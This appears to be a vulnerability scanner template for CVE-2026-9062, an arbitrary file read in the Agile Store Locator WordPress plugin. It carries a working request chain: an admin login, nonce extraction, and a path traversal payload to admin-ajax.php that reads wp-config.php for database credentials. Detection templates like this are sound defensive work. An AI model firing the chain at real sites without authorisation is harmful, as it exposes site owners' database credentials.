id: CVE-2026-9062 info: name: WordPress Agile Store Locator < 1.6.9 - Arbitrary File Read author: anirbala98 severity: low description: | The Agile Store Locator WordPress plugin before 1.6.9 does not validate a parameter before using it in a file path, allowing high-privileged users such as administrators to read arbitrary .php files from the server. impact: | Authenticated attackers can disclose local files, including configuration files that contain database credentials and authentication keys. remediation: | Update to version 1.6.9 or later. reference: - https://wpscan.com/vulnerability/14014b6b-ce49-4778-822c-026ecafa1772/ - https://wordpress.org/plugins/agile-store-locator/ - https://nvd.nist.gov/vuln/detail/CVE-2026-9062 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N cvss-score: 3.4 cve-id: CVE-2026-9062 epss-score: 0.00486 epss-percentile: 0.42158 cwe-id: CWE-22 metadata: verified: true max-request: 3 vendor: agile-logix product: agile-store-locator framework: wordpress fofa-query: body="/wp-content/plugins/agile-store-locator/" tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,traversal,authentication,agile-store-locator flow: http(1) && http(2) && http(3) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, "wordpress_logged_in") condition: and internal: true - raw: - | GET /wp-admin/admin.php?page=asl-settings HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: nonce part: body group: 1 regex: - 'ASL_REMOTE = \{[^}]*"nounce":"([a-f0-9]+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=asl_ajax_handler&sl-action=reset_custom_template&asl-nounce={{nonce}}&template=cards-templates§ion=../../../../../wp-config matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "DB_NAME", "DB_PASSWORD")' condition: and # digest: 4a0a00473045022100ec9975be8e073c074ab1db908c857e324a2df43e60ee55bc48663083b828502f02202452ccb7590a5a117c41c68bffeb182f5c93652ce0142f2f71eee1417687dcc8:922c64590222798bb761d5b6d8e72950